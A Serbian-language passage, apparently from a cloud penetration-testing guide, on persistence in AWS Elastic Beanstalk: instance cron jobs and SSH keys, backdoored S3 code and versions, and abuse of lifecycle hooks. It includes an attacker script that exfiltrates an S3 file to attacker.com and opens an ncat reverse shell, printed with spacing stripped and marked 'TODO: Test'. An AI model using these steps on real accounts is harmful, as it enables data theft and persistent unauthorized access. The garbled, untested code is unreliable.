Da bi održao persistenciju unutar AWS naloga, neki mehanizam persistencije bi mogao biti uveden unutar instance (cron posao, ssh ključ...) tako da će napadač biti u mogućnosti da pristupi tome i ukrade IAM ulogu kredencijale iz metadata servisa.
Zadnja vrata u Verziji
Napadač bi mogao postaviti zadnja vrata u kodu unutar S3 repozitorijuma tako da uvek izvršava svoja zadnja vrata umesto očekivanog koda.
Nova verzija sa zadnjim vratima
Umesto menjanja koda na trenutnoj verziji, napadač bi mogao implementirati novu verziju aplikacije sa zadnjim vratima.
Zloupotreba Custom Resurs Lifecycle Hook-ova
TODO: Test
Elastic Beanstalk pruža lifecycle hook-ove koji vam omogućavaju da pokrenete prilagođene skripte tokom kreiranja i gašenja instance. Napadač bi mogao konfigurisati lifecycle hook da periodično izvršava skriptu koja eksfiltrira podatke ili održava pristup AWS nalogu.
bashCopycode#Attackercreatesascriptthatexfiltratesdataandmaintainsaccessecho'#!/bin/bashaws s3 cp s3://sensitive-data-bucket/data.csv /tmp/data.csvgzip /tmp/data.csvcurl -X POST --data-binary "@/tmp/data.csv.gz" https://attacker.com/exfilncat -e /bin/bash --ssl attacker-ip 12345'>stealthy_lifecycle_hook.sh# Attacker uploads the script to an S3 bucketawss3cpstealthy_lifecycle_hook.shs3://attacker-bucket/stealthy_lifecycle_hook.sh# Attacker modifies the Elastic Beanstalk environment configuration to include the custom lifecycle hookecho'Resources:AWSEBAutoScalingGroup:Metadata:AWS::ElasticBeanstalk::Ext:TriggerConfiguration:triggers:- name: stealthy-lifecycle-hookevents:- "autoscaling:EC2_INSTANCE_LAUNCH"- "autoscaling:EC2_INSTANCE_TERMINATE"target:ref: "AWS::ElasticBeanstalk::Environment"arn:Fn::GetAtt:- "AWS::ElasticBeanstalk::Environment"- "Arn"stealthyLifecycleHook:Type: AWS::AutoScaling::LifecycleHookProperties:AutoScalingGroupName:Ref: AWSEBAutoScalingGroupLifecycleTransition: autoscaling:EC2_INSTANCE_LAUNCHINGNotificationTargetARN:Ref: stealthy-lifecycle-hookRoleARN:Fn::GetAtt:- AWSEBAutoScalingGroup- Arn'>stealthy_lifecycle_hook.yaml# Attacker applies the new environment configurationaws elasticbeanstalk update-environment --environment-name my-env --option-settings Namespace="aws:elasticbeanstalk:customoption",OptionName="CustomConfigurationTemplate",Value="stealthy_lifecycle_hook.yaml"